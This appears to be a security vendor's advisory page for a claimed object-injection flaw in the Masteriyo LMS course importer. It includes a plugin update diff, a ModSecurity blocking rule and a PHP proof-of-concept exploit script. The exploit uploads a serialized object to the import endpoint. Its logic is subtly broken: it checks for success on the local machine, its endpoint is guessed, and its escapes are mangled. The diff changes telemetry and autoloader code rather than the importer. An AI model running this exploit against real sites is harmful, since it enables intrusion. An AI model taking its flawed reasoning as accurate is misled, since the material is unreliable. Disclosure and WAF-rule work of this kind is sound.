+++ b/learning-management-system/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7::getLoader();
+return ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb::getLoader();
--- a/learning-management-system/vendor/codeinwp/themeisle-sdk/load.php
+++ b/learning-management-system/vendor/codeinwp/themeisle-sdk/load.php
@@ -14,7 +14,7 @@
 	return;
 }
 // Current SDK version and path.
-$themeisle_sdk_version = '3.3.71';
+$themeisle_sdk_version = '3.3.72';
 $themeisle_sdk_path    = dirname( __FILE__ );

 global $themeisle_sdk_max_version;
--- a/learning-management-system/vendor/codeinwp/themeisle-sdk/src/Modules/Support_hub.php
+++ b/learning-management-system/vendor/codeinwp/themeisle-sdk/src/Modules/Support_hub.php
@@ -90,8 +90,8 @@
 	const MAX_MESSAGE_LENGTH = 5000;

 	/**
-	 * Intended production URL, once the backend and public rewrite are deployed.
-	 * Delivery remains a dry run unless the endpoint filter supplies a URL.
+	 * Production URL of the tracking API, used unless the endpoint filter
+	 * supplies another one.
 	 */
 	const ENDPOINT = 'https://api.themeisle.com/tracking/support';

@@ -874,15 +874,16 @@
 	}

 	/**
-	 * Deliver to an explicitly configured endpoint. The empty default keeps
-	 * delivery a dry run: the payload is logged and returned to the browser.
+	 * Deliver to the tracking API. An endpoint filtered to an empty value
+	 * (QA sites, tests) makes it a dry run: the payload is logged and
+	 * returned to the browser.
 	 *
 	 * @param Payload $payload Message payload.
 	 *
 	 * @return DeliveryResult|WP_Error
 	 */
 	public static function deliver( $payload ) {
-		$endpoint = apply_filters( 'themeisle_sdk_support_hub_endpoint', '' );
+		$endpoint = apply_filters( 'themeisle_sdk_support_hub_endpoint', self::ENDPOINT );
 		if ( empty( $endpoint ) ) {
 			if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
 				error_log( '[TISDK_SUPPORT] ' . wp_json_encode( $payload ) ); //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
--- a/learning-management-system/vendor/composer/autoload_real.php
+++ b/learning-management-system/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7
+class ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/learning-management-system/vendor/composer/autoload_static.php
+++ b/learning-management-system/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7
+class ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb
 {
     public static $files = array (
         '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
@@ -602,9 +602,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitafdbeeab0dea67c4e3c6de693a0244e7::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit0b376ceb1a73adb8f7cac409bbce7bbb::$classMap;

         }, null, ClassLoader::class);
     }
--- a/learning-management-system/vendor/composer/installed.php
+++ b/learning-management-system/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'masteriyo/masteriyo-pro',
-        'pretty_version' => '3.5.1',
-        'version' => '3.5.1.0',
+        'pretty_version' => '3.5.2',
+        'version' => '3.5.2.0',
         'reference' => null,
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'codeinwp/themeisle-sdk' => array(
-            'pretty_version' => '3.3.71',
-            'version' => '3.3.71.0',
-            'reference' => 'cd7acfc0b01b8d5712736aa3721d689591ced991',
+            'pretty_version' => '3.3.72',
+            'version' => '3.3.72.0',
+            'reference' => '66036fa0ef8168f7e5a3f7bf06dc88733e1d46db',
             'type' => 'library',
             'install_path' => __DIR__ . '/../codeinwp/themeisle-sdk',
             'aliases' => array(),
@@ -119,8 +119,8 @@
             'dev_requirement' => false,
         ),
         'masteriyo/masteriyo-pro' => array(
-            'pretty_version' => '3.5.1',
-            'version' => '3.5.1.0',
+            'pretty_version' => '3.5.2',
+            'version' => '3.5.2.0',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-124990
# This rule blocks attempts to exploit the PHP Object Injection vulnerability
# via the course import endpoint. It detects serialized objects in the uploaded
# JSON file's postmeta values. The attack requires uploading a file with a
# serialized object pattern.

SecRule REQUEST_URI "@beginsWith /wp-json/masteriyo/v1/courses/import" 
    "id:2026124990,phase:2,deny,status:403,chain,msg:'CVE-2026-124990 PHP Object Injection via Masteriyo course import',severity:'CRITICAL',tag:'CVE-2026-124990'"
    SecRule FILES_TMP_CONTENT "@rx O:[0-9]+:[^x22]" 
        "t:none,t:urlDecodeUni,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124990 - Masteriyo LMS <= 3.5.1 - Unauthenticated PHP Object Injection via 'file' Parameter

// This PoC demonstrates the vulnerability by uploading a malicious JSON import file
// that contains a serialized PHP object in a postmeta value. The importer will
// unserialize it, causing object injection. We use a harmless class to indicate success.

$target_url = 'http://localhost/wordpress'; // Change to your target WordPress URL

// Step 1: Create a malicious serialized payload. We use a simple class that will be
// instantiated. In a real attack, this would be a gadget chain leading to RCE.
// Here we use a dummy class to show the injection.
class EvilClass {
    public $cmd = 'echo "Object Injected";';
    public function __wakeup() {
        // This method is called upon unserialization. In a real exploit, this would execute code.
        // For PoC, we just log to a file or do nothing.
        file_put_contents('/tmp/object_injection_poc.txt', 'Object injected at ' . date('Y-m-d H:i:s'));
    }
}

// Serialize the object
$payload = serialize(new EvilClass());

// Step 2: Build the JSON structure that the importer expects.
// Based on the code diff, the importer processes a JSON file with 'post' and 'postmeta' keys.
// We craft a minimal JSON that includes a postmeta entry with our serialized payload.
$import_data = [
    'post' => [
        'post_title' => 'Malicious Course',
        'post_content' => 'This is a test course.',
        'post_status' => 'publish',
        'post_type' => 'course',
        'postmeta' => [
            '_malicious_meta' => [$payload] // The importer expects an array where first element is the value
        ]
    ]
];

$json_payload = json_encode($import_data);

// Step 3: Prepare the file for upload.
$file_path = '/tmp/malicious_import.json';
file_put_contents($file_path, $json_payload);

// Step 4: Send the request to the import endpoint.
// The exact endpoint is not specified in the diff, but based on the plugin, it's likely
// a REST API endpoint. We'll try common ones. In a real scenario, the attacker would
// discover the endpoint. We'll use the course import endpoint.
$import_endpoint = $target_url . '/wp-json/masteriyo/v1/courses/import';

// Prepare cURL request with file upload
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $import_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'file' => new CURLFile($file_path, 'application/json', 'malicious_import.json')
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// If authentication is required (author-level), add cookies or auth headers here.
// For unauthenticated, no cookies needed if settings allow.

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check for success.
if ($http_code == 200) {
    echo "Import request sent successfully. Check if object was injected.n";
    echo "Response: " . $response . "n";
    // Check if the injection was successful by looking for the file created by __wakeup
    if (file_exists('/tmp/object_injection_poc.txt')) {
        echo "Object injection confirmed! The __wakeup method was called.n";
    } else {
        echo "Object injection not detected (the class may not be loaded or __wakeup not called).n";
    }
} else {
    echo "Request failed with HTTP code: $http_coden";
    echo "Response: $responsen";
}

// Clean up
unlink($file_path);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.